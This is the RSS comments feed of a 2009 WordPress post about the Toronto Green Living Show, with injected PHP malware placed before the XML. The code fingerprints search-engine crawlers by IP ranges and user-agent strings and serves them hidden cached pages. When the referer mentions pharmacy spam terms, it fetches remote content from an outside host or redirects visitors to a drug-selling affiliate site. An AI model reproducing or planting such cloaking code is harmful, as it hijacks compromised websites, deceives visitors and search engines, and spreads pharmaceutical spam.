<php $gde='/home/openenv/besustainable.com/weblog/wp-content/plugins/widgets/default/';

$host=$_SERVER['HTTP_HOST'];
$agent=$_SERVER['HTTP_USER_AGENT'];
$host1 = str_replace("www.","",$host);
$host1=md5($host1);
$dir=trim(str_replace('www.','',$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']));
$dir=md5($dir);
    $server_accept_language = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
    $server_user_agent = @$_SERVER['HTTP_USER_AGENT'];
    $server_referer = @$_SERVER['HTTP_REFERER'];
    $server_host = @$_SERVER['HTTP_HOST'];
    $server_forwarded_for = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $server_remote_addr = @$_SERVER['REMOTE_ADDR'];
    $server_query_string = @$_SERVER['QUERY_STRING'];
    $server_signature = @$_SERVER['SERVER_SIGNATURE'];
    $server_request = @$_SERVER['REQUEST_URI'];
function detectBot($server_user_agent,$server_ip,$my_url_for_log,$server_query_string,$server_referer,$enable_logging){
    $stop_ips_masks = array(
        "66\.249\.[6-9][0-9]\.[0-9]+",    // Google    NetRange:   66.249.64.0 - 66.249.95.255
        "74\.125\.[0-9]+\.[0-9]+",        // Google     NetRange:   74.125.0.0 - 74.125.255.255
        "65\.5[2-5]\.[0-9]+\.[0-9]+",    // MSN        NetRange:   65.52.0.0 - 65.55.255.255,
        "74\.6\.[0-9]+\.[0-9]+",        // Yahoo    NetRange:   74.6.0.0 - 74.6.255.255
        "67\.195\.[0-9]+\.[0-9]+",        // Yahoo#2    NetRange:   67.195.0.0 - 67.195.255.255
        "72\.30\.[0-9]+\.[0-9]+",        // Yahoo#3    NetRange:   72.30.0.0 - 72.30.255.255
        "38\.[0-9]+\.[0-9]+\.[0-9]+",     // Cuill:     NetRange:   38.0.0.0 - 38.255.255.255
        "93\.172\.94\.227",                // MacFinder
        "212\.100\.250\.218",            // Wells Search II
        "71\.165\.223\.134",            // Indy Library
        "70\.91\.180\.25",
        "65\.93\.62\.242",
        "74\.193\.246\.129",
        "213\.144\.15\.38",
        "195\.92\.229\.2",
        "70\.50\.189\.191",
        "218\.28\.88\.99",
        "165\.160\.2\.20",
        "89\.122\.224\.230",
        "66\.230\.175\.124",
        "218\.18\.174\.27",
        "65\.33\.87\.94",
        "67\.210\.111\.241",
        "81\.135\.175\.70",
        "64\.69\.34\.134",
        "89\.149\.253\.169",
        "64\.233\.1[6-8][1-9]\.[0-9]+",
        "64\.233\.19[0-1]\.[0-9]+",
        //google from iplists
        "209\.185\.108\.[0-9]+",
        "209\.185\.253\.[0-9]+",
        "209\.85\.238\.[0-9]+",
        "216\.239\.33\.9[6-9]",
        "216\.239\.37\.9[8-9]",
        "216\.239\.39\.9[8-9]",
        "216\.239\.41\.9[6-9]",
        "216\.239\.45\.4",
        "216\.239\.46\.[0-9]+",
        "216\.239\.51\.9[6-9]",
        "216\.239\.53\.9[8-9]",
        "216\.239\.57\.9[6-9]",
        "216\.239\.59\.9[8-9]",
        "216\.33\.229\.163",
        "64\.233\.173\.[0-9]+",
        "64\.68\.8[0-9]\.[0-9]+",
        "64\.68\.9[0-2]\.[0-9]+",
        "72\.14\.199\.[0-9]+",
        "8\.6\.48\.[0-9]+",
        //google from iplists
// 10.0.0.0 - 10.255.255.255 iana
        "207\.211\.40\.82",
        "67\.162\.158\.146",
        "66\.255\.53\.123",
        "24\.200\.208\.112",
        "129\.187\.148\.240",
        "129\.187\.148\.244",
        "199\.126\.151\.229",
        "118\.124\.32\.193",
        "89\.149\.217\.191"
    );
    $stop_agents_masks = array("http", "google", "slurp", "msnbot", "bot", "crawl", "spider", "robot", "HttpClient", "curl", "PHP", "Indy Library", "WordPress",'Charlotte','wwwster','Python','urllib','perl','libwww','lynx','Twiceler','rambler','yandex');
    $server_user_agent = preg_replace("|User\.Agent\:[\s ]?|i", "", @$server_user_agent);
    $is_human = true; $stop_ip_detected = false; $stop_agent_detected = false; $detected_str = "";
    foreach ($stop_ips_masks as $stop_ip_mask) if(eregi("$stop_ip_mask", $server_ip)) {
        $is_human = false;  break;
    }
    if($is_human) foreach($stop_agents_masks as $stop_agents_mask) if(eregi($stop_agents_mask, @$server_user_agent) !== false){
        $is_human = false;  break;
    }
    if($is_human and !eregi("^[a-zA-Z]{5,}", @$server_user_agent)) {
        $is_human = false;
    }

    if($is_human and strlen($server_user_agent)<=11) {
        $is_human = false;
    }

    if(stristr($server_referer,$server_query_string)) {
        $is_human = false;
    }
    return $is_human;
}
@$is_human = @detectBot($server_user_agent,$server_ip,$my_url_for_log,$server_query_string,$server_referer,$enable_logging);
if (@$is_human==false) 
{  
if (is_file($gde.'plugin/'.$dir)) {
 include($gde.'plugin/'.$dir);
 exit;
  }      
}
$reff = $_SERVER["HTTP_REFERER"];
$reff = strtolower($reff);
if (preg_match('/viagra|cialis|levitra|Zenegra|Yagara|VigRX|Tadalis|Tadacip|Apcalis|Androz|Revatio|Silagra|Penegra|Suhagra|Kamagra|Mojo Maxx|Himcolin|Nizagara|Forzest|Caverta|pharmacy|drugstore|prescription|canadian|canada|approved|drugs|buy|sale|sales|order|discount|ED|erectile/', $reff)) { 

//include 'theme.php';




$filecache=$_SERVER['DOCUMENT_ROOT'].'/wcache.dat';
$randomtime=rand(1,3);
$urlx='http://znacomstva.org/forum/theme.txt'; 
$urlredict='http://www.canadian-medshop.com/?aid=9478'; 

$time_sec=time();@$time_file=filemtime($filecache);$time=($time_sec-$time_file)/360;

function curl_gets($url){
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_HEADER, false);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
  curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.0; Windows NT 5.0)');
  $data = curl_exec($ch);
$httpcode = curl_getinfo ( $ch, CURLINFO_HTTP_CODE);
  curl_close($ch);

if ($httpcode!='200') $data='404';
return $data;
}


if (($time>$randomtime)||(filesize($filecache)==0))
{
$tmpx=curl_gets($urlx);
	if ($tmpx!=404){$file = fopen ($filecache,"w+");if ( $file ) {fputs ( $file, $tmpx);}}
	else {
		$file = fopen ($filecache,"a+");if ( $file ) {fputs ( $file, ''); } 
			if ($urlredict) {exit("<html><head><meta http-equiv='refresh' content='1;$urlredict'></head><body>
</body></html>");}
	}

@fclose ($file);
}

readfile($filecache);

/////////////
exit;  }
?>define('WP_CACHE', true); //Added by WP-Cache Manager

<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd"
	xmlns:dtvmedia="http://participatoryculture.org/RSSModules/dtv/1.0"
	xmlns:media="http://search.yahoo.com/mrss/"
	>
<channel>
	<title>Comments on: A quick video post from the Toronto Green Living Show</title>
	<atom:link href="http://besustainable.com/weblog/2009/04/27/a-quick-video-post-from-the-toronto-green-living-show/feed/" rel="self" type="application/rss+xml" />
	<link>http://besustainable.com/weblog/2009/04/27/a-quick-video-post-from-the-toronto-green-living-show/</link>
	<description></description>
	<lastBuildDate>Wed, 06 May 2009 12:41:46 -0700</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.4</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	</channel>
</rss>

